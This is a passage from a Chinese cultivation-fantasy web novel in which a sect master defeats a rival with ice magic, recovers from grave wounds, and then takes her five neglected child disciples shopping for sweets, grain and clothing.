鲜血染红了青黑的藤蔓,更顺着藤蔓滴滴答答地砸落在龟裂的地面上,晕开一朵朵刺目的血花。 强大的束缚之力如同巨蟒缠身,将她死死锁在原地,动弹不得,眨眼之间就成了一个血人。 楚凌风见状,心头一喜,脸上浮现出残忍的快意:“云见月,这都是你自找的,下辈子,记得学聪明点。” 萧凡和郁姝更是拍手称快,脸上写满了幸灾乐祸。 “活该!贱人!”萧凡狞笑道,“你要是乖乖做师尊的舔狗,源源不断献上资源,你还能像条狗一样苟延残喘的活着,你非要跟师尊作对,就只有死路一条。” 郁姝尖声附和:“本事不大,脾气倒是不小,接下来就是你的死期,等你死了,我们就把你那五个废物徒弟也送去地狱陪你团聚,让你们师徒在黄泉路上也不寂寞。” 巨石之后。 “师尊——”江迷雾看到云见月被藤蔓刺得鲜血淋漓,急得眼圈发红,站起身就要冲出去。 “别动!”鹿闻声眼疾手快,一把拉住他,“不能出去。” 江迷雾被他拽住,大眼睛里蓄满了泪水,声音带着哭腔:“可是……可是师尊要被杀死了,师尊好不容易变好了,给我们烤鸡,做小鸡炖蘑菇,我不想师尊死……” 鹿闻声眼底浮现出一抹难以掩饰的无力,声音艰涩:“我知道,但是师尊都打不过他们,我们出去除了送死,还能做什么?” 江迷雾求救的看向旁边的大师兄和三师姐,寻求一丝渺茫的希望。 只见大师兄萧星尘眉头紧锁,双拳握紧,却没有挪动分毫。 而郁仙,她咬着下唇几乎要咬出血来,身体同样绷得笔直,那双总是冰冷的眼眸此刻盯着血泊中的师尊,里面翻涌着前所未有的激烈情绪。 江迷雾绝望了,他一把抱住身边吓得瑟瑟发抖的苏渺渺,仿佛抓住最后一根稻草,带着哭腔喃喃:“渺渺,师尊要是死了,我们就真的没有依靠了,再也......再也吃不到香喷喷的烤鸡和小鸡炖蘑菇了……” 苏渺渺被四师兄的悲伤感染,她看着远处那个浑身浴血、被可怕藤蔓缠绕的身影,脑海中清晰地浮现出昨晚师尊递给她金黄大鸡腿时温柔的笑容,还有今天给她盛那碗香得让她想把舌头吞下去的小鸡炖蘑菇时慈爱的眼神。 她不要师尊死! 她不要再也看不到师尊! 强烈的愿望如同小小的火苗在她纯净的心底燃烧。 她两只小手紧紧握在一起,抵在胸前,闭上眼睛,用尽全身的力气,带着最纯粹、最强烈的祈愿,无声地在心底呐喊: 师尊一定不会有事!师尊一定能打败坏蛋!渺渺不要师尊死!师尊要好好的! 就在她这纯粹意念升腾的刹那,她小小的身体仿佛被抽空了力气,软软地软倒在江迷雾怀里,大眼睛依旧紧闭,长长的睫毛上挂着晶莹的泪珠。 “结束了!”楚凌风眼中凶光毕露,猛地催动灵力,缠绕在云见月身上的青黑藤蔓骤然收紧。 倒刺更深地扎入血肉,意图将她彻底绞杀成碎片。 云见月发出一声痛苦的闷哼。 然而,就在这濒死绝境。 云见月染血的眼中,猛地爆发出比万年玄冰更刺骨的寒芒。 一股更加狂暴、更加极致的冰寒灵力,如同被压抑到极限的火山,顺着那刺入她体内的藤蔓倒刺,决堤洪流般反向疯狂灌注进去。 所过之处,极寒瞬间蔓延。 咔嚓!咔嚓!咔嚓! 令人头皮发麻的冻结碎裂声爆豆般密集响起。 那坚韧无比、足以勒死蛟龙的青黑藤蔓,以肉眼可见的速度被寸寸冻结。 “给我————破!!!” “轰隆——” 如同地脉炸裂!被冻结的藤蔓应声而碎,轰然炸裂。 漫天晶莹的冰渣混合着断裂的藤蔓碎片,向四面八方激射而出。 恐怖的冰爆冲击波以云见月为中心悍然炸开,浓烈的烟尘混合着弥漫的森白冰雾,瞬间吞噬了山门前的一切。 “不……不可能!这绝对不可能!”楚凌风失声惊叫,瞳孔因极度的震惊而放大。 他化神后期的全力绞杀,竟然被一个化神初期的女人,用如此狂暴的方式硬生生破开了? 萧凡和郁姝更是瞠目结舌,脸上的幸灾乐祸凝固,化为一片呆滞的茫然和难以置信。 “师、师尊?”萧凡声音干涩,“她、她怎么可能……” 郁姝更是下意识地后退了半步,眼中充满了惊惧。 以师尊的修为,本该是碾压之势,将云见月彻底碾碎才对,为何她总能一次次绝地反击? 这完全超出了他们的认知。 冰雾与烟尘缓缓沉降、散开。 一道身影,缓缓从中显现。 此刻的云见月,月白的衣袍被鲜血彻底浸透,呈现出刺目的鲜红,仿若穿的是火红的红衣。 裸露在外的肌肤上,布满了被藤蔓倒刺撕裂的伤口,深可见骨,皮肉翻卷,鲜血仍在不断渗出、滴落。 她的长发散乱,沾染着血污和冰屑,黏在苍白如纸毫无血色的脸颊上。 她浑身浴血,如同从地狱血池中爬出的修罗,气息微弱得如同风中残烛,仿佛下一秒就会彻底熄灭。 然而,那双沾染着血污的眼眸,却亮得惊人,里面没有痛苦,没有恐惧,只有一片冻结万物的平静。 她缓缓抬起染血的手指,抹去唇边溢出的血迹,动作缓慢,却带着一种令人窒息的压迫感。 她的声音平静得没有一丝波澜,清晰地穿透了寂静的战场,砸在楚凌风师徒三人的心上: “接下来,该我了。” 话音落下的瞬间—— 一股难以言喻的恐怖波动,骤然从云见月残破的身躯中爆发出来。 “冰——封——千——里——” 第12章 楚凌风狼狈逃走,云见月受伤昏迷 一字一顿,声音如同冰河。 嗡—— 以她立足之处为中心,一股肉眼可见的幽蓝寒潮,向着四面八方急速扩散。 寒潮所过之处,空间仿佛都被冻结。 地面瞬间覆盖上厚厚的坚冰,并且以恐怖的速度向远处蔓延,冰层厚度眨眼间便超过三尺,空气凝结成细小的冰晶雪花,簌簌落下。 周围那些被剑气斩断、被冰爆波及的残枝断木、碎裂山石,甚至是被剑气洞穿的深坑边缘,都在刹那间被冻结成形态各异的冰雕。 温度在瞬息间骤降至绝对零度般的恐怖低温。 “不好!” 楚凌风脸色骤变,一旦被这扩散的寒潮沾染,即便是他,也绝不敢保证能全身而退,更遑论身边的两个徒弟。 生死关头,他再无半分犹豫。 “走!”楚凌风厉喝一声,双手探出,一手一个抓住惊骇的萧凡和郁姝,身形冲天而起,化作一道狼狈的青光,朝着远方天际疯狂遁逃。 然而,那幽蓝色的寒潮扩张的速度快得超乎想象,如同跗骨之蛆,紧咬着楚凌风遁逃的方向,急速蔓延。 肉眼所及的一切,都在被急速冻结。 郁郁葱葱的山林瞬间化为一片死寂的冰晶森林,奔腾的溪流凝固成蜿蜒的冰带,裸露的岩石覆盖上厚厚的冰甲…… 大地一片银装素裹,在正午的阳光下反射着冰冷刺眼的光芒。 天空之中,鹅毛般的暴雪毫无征兆地倾泻而下,将这片被冰封的世界笼罩在一片茫茫雪幕之中。 这恐怖的冰封,足足蔓延了百里之遥。 所过之处,万物冻结,直到百里之外,寒潮才终于力竭,缓缓停止了扩张。 强行催动这超越极限的法术,代价是巨大的。 山门前。 云见月身体摇摇欲坠,脸上最后一丝血色也彻底消失,变得比地上的冰雪还要惨白。 全身的灵力,连同最后一丝力气,都在这惊天一击中被彻底抽空。 她眼前阵阵发黑,整个世界都在旋转。 她艰难地、踉踉跄跄地转过身,一步,一步,摇摇晃晃地朝着那破败的玄天宗山门挪去。 每一步都仿佛踩在刀尖上,沉重无比,在地上留下一个个带血的脚印。 终于,她的一只脚,踏过了那道象征着宗门界限的山门石槛。 “噗——” 一大口混合着内脏碎块的暗红色鲜血,猛地从她口中狂喷而出。 支撑她意志的那根弦,彻底崩断了。 她眼中的光芒瞬间熄灭,身体直挺挺地栽倒在地。 “师尊——” 巨石之后,五道小小的身影,冲了出来,围拢在倒在血泊中的云见月身边。 “呜呜呜……师尊……好多血……”苏渺渺吓得小脸煞白,哇哇大哭起来。 江迷雾眼圈通红,强忍着没哭出声,但豆大的泪珠还是不受控制地滚落下来,他伸出颤抖的小手,想去碰碰师尊的脸,却又害怕地缩了回来,只能无助地抽噎着:“师尊……师尊你醒醒……” 萧星尘和鹿闻声强行压下心头的惊涛骇浪,但脸色同样惨白如纸。 “三师妹。”鹿闻声转头看向郁仙,声音带着前所未有的焦急,“丹药,你还有没有丹药?快!给师尊服下。” 郁仙紧抿着唇,脸色同样难看。 她强迫自己冷静下来,一股微弱的神识小心翼翼地探向云见月重伤的身体。 片刻后,她收回神识,那张总是带着冰冷倔强的小脸上,第一次浮现出沉重,声音干涩:“没有丹药了,而且,就算有,也救不了她。” 她抬起眼,看向围在身边的师兄师弟和小师妹,“她全身经脉寸断,丹田也出现了裂痕,这个样子就算不死,恐怕也是个废人了……” “废人”两个字如同重锤,狠狠砸在每个人心上。 这个结果,是所有人都没有想到的。 鹿闻声无力的叹了口气。 师尊好不容易变好了,如今却要死了。 饶是他性格隐忍,也忍不住红了眼眶。 就在这时,一个苍老却带着一丝戏谑的声音在鹿闻声识海中响起:“小子,瞎嚎什么?放心吧,你师尊死不了。” “炎老真的吗?为什么?师尊她伤得那么重……” “哼,你还好意思问为什么?” “她吃了上古神兽火凤凰,那玩意儿最核心的本源是什么?是涅槃重生之力,它的血肉,足以吊住她的命,修复她的生机。 还有那枯荣轮回菇,那万年难遇的生死玄菌,调和生死,逆转枯荣,药力之霸道,超乎你的想象。 要不是这两样逆天神物在她体内撑着,你以为她一个化神初期凭什么能越级挑战化神后期? 还能在那种绝杀下全身而退?早在一个回合就被那姓楚的打成飞灰了。” “这伤对别人是致命,对她现在这状态……啧,睡一觉,明天保管活蹦乱跳,枯荣轮回菇的药力还没完全化开呢,正好用来修补她这些破烂经脉和丹田。” 鹿闻声听得目瞪口呆,心中的绝望瞬间被巨大的惊喜取代:“真的?可是,师尊的丹田有了裂痕,她的修为……” “裂痕?”炎老嗤笑一声,“别说只是裂痕,就是她丹田被捅了个对穿,只要还有一口气在,枯荣轮回菇那逆转枯荣的药力,也能给她修补得完好无损,甚至可能因祸得福,根基更胜从前。这等逆天神物……唉,暴殄天物啊!不过,也幸好她给炖了吃了……” 原来如此! 鹿闻声恍然大悟,心中悬着的大石终于落地,甚至涌起一股劫后余生的狂喜。 他无比庆幸师尊不识货,把这两样足以引起修真界腥风血雨的至宝当成了普通野味给炖了吃了。 否则,今日他们都要死于楚凌风之手。 看着身边还在哭的师弟师妹,鹿闻声深吸一口气,脸上努力挤出一个安抚的笑容,“别哭了,师尊会没事的。” 江迷雾抬起泪眼朦胧的大眼睛,抽噎着反驳:“二师兄骗人,师尊身上全都是血窟窿,我们又没有丹药,她怎么可能好。” “师兄什么时候骗过你?”鹿闻声蹲下身,认真地看着江迷雾的眼睛。 江迷雾看着二师兄笃定的眼神,下意识地摇了摇头。 二师兄虽然话不多,但从不骗人。 “那不就好了?”鹿闻声拍了拍他的肩膀,“我保证,师尊她明天一定会痊愈,现在,咱们先把师尊送回她的寝殿,让她好好休息,好不好?” 他的话像是有种奇异的魔力,让江迷雾和苏渺渺的哭声渐渐小了下去,眼中重新燃起了一丝微弱的希望。 ...... 晨光熹微,透过窗棂,洒在云见月脸上。 云见月纤长浓密的睫毛,极其轻微地颤动了几下。 意识回笼,没有预想中的剧痛或虚弱,反而是一种久违的舒服。 仿佛每一个细胞充满了生机勃勃的力量。 “唔……”云见月忍不住舒服地喟叹一声,像只慵懒的猫,舒展着四肢,在宽大的紫檀木床上伸了个大大的懒腰。 “这一觉睡得可真沉……”她迷迷糊糊地想,感觉像是睡过了几个世纪那么踏实,连个梦都没有。 下一秒,伸懒腰的动作猛地僵住。 昨天...... 云见月“唰”地一下坐起身,下意识地摸向身体。 昨天被藤蔓倒刺贯穿,今天怎么一点疼痛都没有? 她一把撩开衣服。 映入眼帘的,是平坦光滑的皮肤,别说狰狞可怖的伤疤,就连一丝一毫被利器划过的红痕都找不到,仿佛昨天那场战斗,那些深可见骨的伤口,都只是她臆想出来的。 “这怎么可能?” “就算伤势能好,那么重的伤,怎么可能连个疤都不留?我到底昏迷了多久?” 她不会是昏睡了十天半个月,甚至更久吧?所以伤势才完全好转。 孩子们怎么样了? 楚凌风那个人渣有没有去而复返? 想到这些,云见月也顾不上自己了,翻身就要下床。 就在这时,寝殿厚重的木门,传来“吱呀”一声。 云见月倏地回头。 只见门缝处,几双乌溜溜的大眼睛正小心翼翼地往里窥探。 对上她的目光,那几双眼睛有惊喜,有忐忑,还有一丝不易察觉的怯意。 是她的五个小团子。 云见月心头一软,那些纷乱的思绪和不安,被一股暖流冲淡了下去。 她露出一抹温柔的笑,声音也放得极柔:“都趴在门口做什么?进来吧。” 房门“吱呀”一声推开。 江迷雾和苏渺渺欢快地“噔噔噔”冲了进来,扑到床前。 两双清澈的大眼睛一眨不眨地盯着她看。 “哇!师尊真的活过来了。”苏渺渺小脸上满是惊奇,奶声奶气道,“二师兄没骗人,师尊真的没事啦。” 江迷雾也用力点头,大眼睛亮晶晶的,看向云见月的眼神,依赖和信任比昨天又多了几分。 萧星尘、鹿闻声和郁仙跟在后面,步伐明显沉稳许多。 他们走到床前几步远的地方停下,看了云见月一眼又垂下眸子。 云见月揉了揉江迷雾有些蓬松的发顶,又捏了捏苏渺渺软乎乎的小脸蛋。 小家伙们对她的亲近不再像最初那样僵硬恐惧了,这是个好兆头。 做完这些,她才抬眸,目光落在鹿闻声脸上,“闻声,你是怎么知道为师会没事的?” 毕竟,她伤的可不轻。 鹿闻声清瘦的小身板几不可察地僵了一下。 他垂下眼帘,避开云见月的目光,努力维持着声音的平淡,“徒儿只是猜测,师尊吉人天相,定能逢凶化吉。” 云见月挑了挑眉,小家伙藏得还挺深。 她自动将身体奇迹般的恢复速度归结到了那位神秘“炎老”的功劳上。 大概是什么上古秘法或者残魂的特殊能力吧? 反正修真界的鸡啊蘑菇啊都邪门得很,能救命就行,管那炎老头是怎么运作的。 “罢了。”云见月摆摆手,不再追问,转而问道,“为师睡了多久?感觉像是过了很久。” “师尊睡了一整夜,现在是第二天上午了。”江迷雾抢着回答,大眼睛亮晶晶地看着云见月,似乎在等待表扬。 云见月被他这积极的小模样逗乐了,不吝啬地给了他一个赞许的笑容:“嗯,阿雾真细心。” 这两天的“投喂”和“护犊子”总算没白费功夫。 至少,这两个最小的,已经开始向她敞开心扉了。 目光扫过五个小家伙,虽然面色比昨天红润了些,但依旧显得单薄,尤其是郁仙,小脸还是没什么血色。 想到厨房里那空空如也的米缸和橱柜,还有渺渺饿到啃树皮的经历,云见月心中那点作为幼师的“养崽”责任感瞬间爆棚。 她掀开被子,利落地下了床。 “走,今天为师带你们出宗门,大采购去!咱们厨房里,也该添置些米面粮油、肉蛋菜蔬了,以后,为师保证,再也不会让你们饿肚子。” 第13章 手拉手一起出宗门采购,孩子们第一次被爱 话音落下,江迷雾和苏渺渺立刻欢呼起来: “太好啦!有饭吃啦!” 两个小家伙兴奋地原地蹦跳,眼睛里全是亮闪闪的星星,仿佛已经看到了香喷喷的白米饭和热腾腾的菜肴。 萧星尘紧抿的唇角微微松动,眼底掠过一丝期待。 鹿闻声虽然依旧表情平静,但眼中一闪而过的光芒,泄露了他内心的不平静。 就连站在最后的郁仙,在听到“再也不会让你们饿肚子”这句话时,那双冰冷的眸子也剧烈地波动了一下。 这个承诺会是真的吗? 他们终于苦尽甘来,不用为下顿饭饿肚子发愁了吗? 五双眼睛,带着不同程度的惊喜、期待、忐忑和难以置信,齐刷刷地聚焦在云见月身上。 那里面燃起的微光,让云见月觉得,昨天拼死一战,值得! “还等什么?”云见月笑着,率先向殿外走去。 阳光在她身后拉出长长的影子,也照亮了孩子们充满希望的脸庞。 “目标——坊市!出发!” ....... 甫一踏入坊市的结界,喧嚣的人声与混杂着灵植、食物、烟火气的味道便扑面而来。 眼前是一条不算宽阔但熙熙攘攘的街道,两侧摊位琳琅满目。 各色灵米灵豆、灵蔬灵果,还有低阶法器、符箓等。 空气中飘荡着刚出炉的灵面点心和一种甜丝丝的、令人忍不住分泌唾液的气味。 小家伙们好奇地左顾右盼,小脑袋转个不停,从未见过如此热闹景象,让他们兴奋得小脸通红。 云见月像极了带幼儿园小朋友春游的老师,左手稳稳牵住跃跃欲试的江迷雾,右手牢牢抓着被新奇景象吸引得差点迈不动步的苏渺渺。 她提高声音,道:“手拉手,别乱跑,走散了可找不到家哦!” 萧星尘、鹿闻声和郁仙虽然没有惊呼出声,但眼神也忍不住在各个摊位间快速扫过,带着掩饰不住的新奇。 看着孩子们眼中闪烁的光彩,云见月心中那点“养崽”的责任感和满足感油然而生。 她停下脚步,大手一挥,豪气道:“你们有想要的、想吃的,只要合理,师尊都满足。” “真的吗?”苏渺渺立刻扬起小脸,圆溜溜的大眼睛充满期待。 “当然是真的,渺渺想要什么?” 苏渺渺试探的伸出小手指向不远处一个插满红彤彤、亮晶晶果子的草靶子。 云见月顺着她的视线看去,“渺渺想要糖葫芦?” 苏渺渺用力点头,小舌头无意识地舔了舔嘴唇,声音软软道: “师尊,可以吗?” 云见月毫不犹豫地扬声招呼,“老板,来五串糖葫芦!” “好嘞!”卖糖葫芦的老者笑呵呵地应声,利落地摘下五串最大最饱满的糖葫芦,晶莹剔透的糖壳在阳光下闪着诱人的光。 当云见月将糖葫芦一一分到五个徒弟手中时,除了苏渺渺是纯粹的惊喜,其他四人,脸上都露出了明显的错愕。 师尊真的给他们每个人都买了这么“奢侈”的零嘴? 苏渺渺迫不及待地咬下一颗裹着厚厚糖衣的山楂,酸酸甜甜的滋味瞬间在口中炸开,幸福得她眼睛都眯成了月牙。 “原来糖葫芦是酸酸甜甜的味道,好好吃呀。”她满足地喟叹。 下一秒,她似乎想起了什么,踮起脚尖,努力将手中糖葫芦高高举起,递向云见月,奶声奶气道: “师尊,你也吃!” 云见月心头一软。 才四岁的孩子,经历了那么多苦难,得到一点甜头,第一时间想到的竟是分享给她这个“师尊”。 原身到底是怎么下得去手伤害这样的小天使的? 她压下翻涌的心绪,不忍拂了渺渺的好意,俯身轻轻咬下最上面那颗糖葫芦,含入口中。 山楂的微酸被纯粹的甜中和,确实美味。 “师尊,是不是很甜,很好吃?”苏渺渺期待地问。 云见月蹲下身,平视着她,眼中是毫不掩饰的温柔。 “嗯,很甜。但不及渺渺的笑容甜,师尊最喜欢看渺渺笑了,渺渺一笑,为师甜到了心里。” 渺渺纯真无邪的举动和师尊直白热烈的夸奖,惹得旁边的江迷雾嘿嘿直笑。 鹿闻声嘴角微弯,萧星尘别过脸去但耳根微红,就连捧着糖葫芦发怔的郁仙,也不由得抬眼看了过来,眼中闪过一丝复杂难辨的光。 云见月继续带着队伍前行:“你们还有没有其他想要的?” 苏渺渺和其他三个男孩子小脑袋摇得像拨浪鼓。 唯有郁仙,目光在掠过旁边一个画糖人的摊位时,极其短暂地停留了一瞬,那眼神渴望,随即又像被烫到般迅速收回,垂下眼睑。 小声附和:“没有。” 这细微的变化没能逃过云见月的“幼师雷达”。 “仙儿喜欢糖人?”云见月停下脚步,直接点破。 郁仙猛地抬头,眼睛因震惊而瞪得溜圆,下意识地反驳:“没……没有。” “喜欢就是喜欢,没什么好犹豫的。” 云见月牵起郁仙有些冰凉的小手,径直走向那个画糖人的摊位。 女孩子就该富养,尤其像郁仙这种从小受尽冷眼,从未感受过关爱的孩子。 她的冰冷只是保护色,其实比任何人都期待被爱。 小时候得不到的,长大后轻易就会被别人用一点点小恩小惠就骗走了。 “老板,照着我的五个徒弟,每个人给他们画一个糖人。”云见月豪气地吩咐。 “好嘞!仙子稍等!”画糖人的老人立刻舀起一勺金灿灿的糖稀,手腕翻飞,在光滑的石板上勾勒起来。 郁仙全身僵硬地站在原地,万万没想到自己的期望这么容易就被满足了。 眼前热闹的场景瞬间褪色,记忆深处那个冰冷刺骨的画面不受控制地翻涌上来。 她的爹娘和哥哥簇拥着那个穿着光鲜亮丽的假千金,有说有笑地走在前面,给她买各种新奇玩意儿、漂亮衣裙。 而她,穿着洗得发白的旧衣,像一抹多余的影子,坠在几步之后。 没有一个人回头看她一眼。 直到快离开坊市时,假千金似乎才“想起”她,假惺惺地问:“妹妹,你怎么都不说话?难道就没有想要的吗?” 她鼓起勇气,指向那个画糖人的摊位,小声说:“我想吃糖人……” 话音未落,假千金就娇声插话:“哎呀,妹妹,吃糖会蛀牙的,多不健康呀。” “姐姐是为你好,你不会生气吧?” 爹娘哥哥看她的眼神瞬间充满了不耐烦。 “就知道吃,一点事都不懂,你吃坏了牙到时候还不是给我们添麻烦,看看你姐姐多懂事,从来都不用我们操心。” 假千金撒娇哄道:“爹爹娘亲,你们不要怪妹妹了,妹妹毕竟乡下长大,没见过世面,嘴馋也是可以理解的。 其实,我也想买个糖人,但我保证只当做漂亮的摆件放在房间里看着,绝对不吃!爹娘给我买糖人好不好嘛~” 前一秒还在训斥她的父母,下一秒就眉开眼笑的哄假千金。 “好好好,我的乖囡囡最懂事了,买!” 那个金灿灿的糖人,最终落入了假千金的手中,成了炫耀的战利品。 想到过去种种,郁仙的声音干涩自嘲: “……吃糖,会蛀牙,我不要。” 突然,一只温暖的手轻轻捏了捏她冰凉的脸颊。 郁仙愕然抬头,撞进云见月含笑的眼眸里。 “小孩子不吃糖,人生是不完整的。” “牙齿没那么脆弱,只要控制好量,吃完漱口,不会蛀牙的,放心吃吧。” 这时,摊贩已经完成了最后一个糖人。 一个梳着双丫髻、眉眼清冷倔强的小姑娘形象,栩栩如生。 他将金灿灿、散发着诱人甜香的糖人递到郁仙面前:“小姑娘,看看,像不像你?” 郁仙怔怔地看着眼前这个以自己为模样的糖人,那甜蜜的气息如此真实,近在咫尺。 在最渴望糖人的年纪,她的血缘至亲吝啬于给她哪怕一点点甜。 而她最厌恶、最防备的师尊,却毫不犹豫地将这份她曾经遥不可及的“奢望”,递到了她面前。 这不是施舍,是……礼物。 属于她的,第一件礼物。 眼眶不受控制地发热,郁仙颤抖着伸出小手,极其小心地接过了那根细细的竹签,仿佛捧着珍宝。 “……谢谢师尊。” 郁仙紧握着那枚小小的“自己”,还没吃甜意就丝丝缕缕地渗入心底。 云见月笑了,“傻话,我是你师尊,给你们买糖吃,是应该的。” 她看向其他几个徒弟。 他们各自小心翼翼地品尝着属于自己的甜蜜,每张小脸上都洋溢着久违的孩童笑容。 云见月心头暖意融融。 这才对嘛,小孩子就该这样,有糖吃,有笑容,有被满足的小心愿。 “好啦,小馋猫们。”她拍拍手,将孩子们的目光吸引回来,“零嘴尝过了,现在该办正事啦。走,跟为师去买米面粮油,填饱肚子才是正经。” 她目标明确,带着这支左手糖葫芦、右手糖人、脸上还带着糖渍的小队伍,浩浩荡荡地走向坊市中看起来最大、货物最齐全的一家粮油店铺:五谷丰登阁。 一进门,浓郁的谷物清香便扑面而来。 各种品阶的灵米、灵面、灵油分门别类,堆满货架。 掌柜是个留着山羊胡的精瘦中年人,见有客上门,立刻迎了上去。 云见月气场全开,直接走到柜台前,扫视一圈,开始报单子: “掌柜的,上品玉晶灵米五百斤,上品青玉灵麦粉三百斤,灵泉榨的玉脂油五十坛,还有……” 她报出的数量让掌柜眼睛越来越亮。 然而,等掌柜噼里啪啦报完一个明显虚高的总价后,云见月的“砍价神功”瞬间发动。 “掌柜的,您这价可不太厚道啊。” “上品玉晶米市价不过一百三十块下品灵石一百斤,您这直接报一百五十块?上品青玉粉更是贵了足足两成!还有这油……” 她一一点出每样物品的实际行情和掌柜报价的水分,条理清晰,证据确凿。 “我们玄天宗虽小,但弟子们日常消耗也是稳定的。这次只是初次采购,若掌柜能给个实在的‘长期合作价’,以后这坊市里,我只认您‘五谷丰登阁’一家,否则……” 她故意顿了顿,作势要带孩子们离开,“隔壁那家‘百味粮仓’看着也不错。” 掌柜被她连珠炮似的精准报价和“长期合作”的大饼砸得有点懵。 眼前这女修看着年轻,砍起价来简直是个行家。 他一边擦汗一边飞快地拨拉着算盘,最终报价道:“总共两千下品灵石,您看......” “成交!”云见月爽快拍板。 全程围观的徒弟们,看着师尊侃侃而谈的模样,眼神里充满了震惊和一丝崇拜。 原来买东西还能这样? 第14章 狗眼看人低?买空你们店对家气死你 云见月结完账,大手一挥,将堆积如山的灵米、灵面、灵油尽数收入储物袋中。 这豪横的手笔,瞬间在“五谷丰登阁”引起了不小的骚动。 “天呐,这也太豪横了,一次性就花费了两千下品灵石,这么多灵石都赶得上普通修士两年的宗门供给了,她一次性都花完了?” “这是要搬空五谷丰登阁的节奏啊,五谷丰登阁今天赚翻了!” “谁说不是呢,看他们一个个穿的破破烂烂的,没想到这么有钱。” “所以看人不能只看外表,人家没准就是故意穿成这样装低调,要是有哪个不长眼的挑衅,不就正好让他们打脸。” 周围投来窃窃私语和探究的目光。 五个小家伙一脸窘迫。 苏渺渺紧紧抓住了云见月的衣角,大眼睛里充满了不安。 郁仙自卑的低下头,死死攥着自己破烂的衣服下摆。 云见月垂眸看向自己的五个徒弟。 萧星尘和鹿闻声这两个年龄最大的,身上的粗布早已洗得发白,袖口和裤脚都短了一截,露出细如竹竿的手腕脚踝。 脚上的旧布鞋更是磨破了洞,露出脚趾。 郁仙自小就受虐待,身材瘦小干瘪得像个豆芽菜,身上那件灰扑扑的旧裙子明显宽大不合身,袖口磨损得厉害,一看就穿了不知多少年。 江迷雾和苏渺渺的衣服更不用说,补丁摞着补丁,针脚粗糙,勉强蔽体罢了。 一股酸涩涌上心头。 孩子们穿着这样的衣服,难怪会被人轻视。 看来,是时候给小团子们置办一身体面的行头了。 云见月心中暗忖,脸上的神色却愈发坚定。 她轻轻拍了拍苏渺渺和江迷雾的后背,温声道:“走,跟为师去买新衣服。” 一行人离开粮油店,在路人或好奇或探究的目光中,走向坊市里看起来颇为气派的成衣铺区域。 云见月选了一家门面最大、挂着“霓裳阁”牌匾的店铺走了进去。 刚踏入门槛,一股混合着熏香的气息扑面而来。 店内陈设华丽,各色流光溢彩的法衣整齐悬挂。 然而,一个眼神轻佻的伙计斜倚在柜台后,看到他们进来,尤其是看到孩子们身上破旧的衣物时,眉头立刻嫌恶地皱起。 “唉唉唉!”伙计尖着嗓子,像驱赶苍蝇般挥着手,“哪里来的臭要饭的?我们这里是‘霓裳阁’,可不是什么阿猫阿狗都能进来的,滚滚滚,一边要饭去,别弄脏了我们的地方。” 他刻薄的话语和毫不掩饰的鄙夷,让江迷雾和苏渺渺吓得立刻躲到了云见月身后。 萧星尘的小脸瞬间涨红,拳头攥紧。 鹿闻声抿紧了唇,眼神隐忍地看向地面。 郁仙冰冷的目光如同淬毒的针,狠狠刺向那伙计,但眼底那抹自卑,却怎么也藏不住。 云见月没有立刻发怒,只是平静地环视了一圈店内陈列的低阶法衣,心中已有计较。 这些法衣虽带些微末防御或除尘效果,但用料和品阶都很一般,最贵的一件标价也不过两百下品灵石。 “我是来给我五个徒儿买衣服的。” “嗤——”伙计从鼻孔发出嘲笑,“就你们?买衣服?你能掏出一块灵石吗?少在这儿装模作样,我警告你们赶紧滚蛋,你们在我们店里多呆一刻,都污染我们这里的空气。” 他一边说着,一边用手在鼻子前扇了扇风,仿佛真闻到了什么恶臭。 云见月眼神骤然一冷。 她本不欲与这等小人计较,但对方蹬鼻子上脸,见他们站在这里不为所动竟开始动手推搡。 就在那伙计不耐烦地伸手想推云见月肩膀的瞬间—— 一股浩瀚的威压,毫无征兆地从云见月身上爆发。 那伙计伸出的手僵在半空,脸上的傲慢瞬间被无边的恐惧取代。 他只觉一股无法抗拒的巨力狠狠撞在胸口,整个人不受控制地“噔噔噔”连退数步,后背重重撞在坚硬的柜台上。 双腿颤抖,脸色惨白,冷汗瞬间浸透了后背的衣衫。 化神期修士的威压,岂是他一个炼气期伙计能承受的? 他感觉自己随时会被碾成齑粉。 “你们店开门做生意,就是这样对待客人的?”云见月的声音平静无波,却具有极强的压迫感。 伙计吓得牙齿打颤,但却不服输的梗着脖子,“你、你有钱,我们自然做你的生意,可你没钱,你装什么装?我们霓裳阁的法衣,最便宜的也要几十灵石,你买得起吗?” “不要以为自己修为高,就想要以势压人,我告诉你,我们霓裳阁的后台,不是你能惹得起的。” “我装?”云见月唇角勾起一抹冰冷的弧度,目光转向店铺对面那家门面稍小、装修更为古朴雅致、名为“云织坊”的成衣铺。 两家店铺显然是竞争关系,门对门,气氛微妙。 “那家店,跟你们应该不是同一个老板吧?” “噗哈哈——”伙计像是听到了什么极其可笑的话,恐惧稍退,幸灾乐祸的嘲讽,“连我们‘霓裳阁’最低阶的法衣都买不起,你还想去对面‘云织坊’? 也不怕告诉你,对面的店跟我们是死对头。 他们店里卖得法衣,最低品阶都是中品以上,一件就要好几百灵石,生意那叫一个惨淡,十天半个月的营业额都没有我们一天的多,眼看就要倒闭了,就你们这群……呃……” 接触到云见月冰冷的眼神,他硬生生把“臭要饭的”咽了回去,“还想去对面买法衣?痴人说梦!” “哦?是吗?”云见月淡淡一笑,“那我就让你看看,我们到底买不买得起。” 她不再多看那伙计一眼,牵起孩子们的手,转身径直走进了对面的“云织坊”。 那伙计立刻跟到自家门边,伸长脖子,脸上挂着恶意的笑,“装!继续装!我倒要看看,一会儿你们几个是怎么被云织坊的人丢出来的。” “云织坊”的布置清雅许多,陈列的法衣数量不多,但件件用料考究,灵光内蕴,一看便知品阶不凡。 一个面相憨厚的年轻伙计正在整理货架,看到云见月一行人进来,眼中闪过一丝惊讶,但并未流露出任何轻视。 他立刻放下手中的活计,脸上堆起真诚的笑容,快步迎了上来。 “几位客人,欢迎光临云织坊,请问想看看什么品阶的法衣?您告诉我需求,我可以给您推荐参考一下。” “有没有适合孩子的法衣?”云见月直接问道。 “有的有的。”伙计热情地引他们到一处货架前,指着其中一件粉白色、袖口和领口绣着精致云纹的小袍子介绍道: “您看这件,用的是上好的冰蚕丝掺了少许星银砂炼制,刻有基础的避尘、防御法阵,品阶是中品。您如果诚心要的话,最低五百块下品灵石。” “五百块!”萧星尘等人闻言,脸色都变了。 这个数字对他们来说简直是天文数字。 苏渺渺立刻拉了拉云见月的手,仰着小脸,奶声奶气地说:“师尊,太贵了,渺渺不要,渺渺身上的衣服还能穿好久呢。” 江迷雾、鹿闻声和萧星尘也纷纷摇头,表示不需要这么贵的。 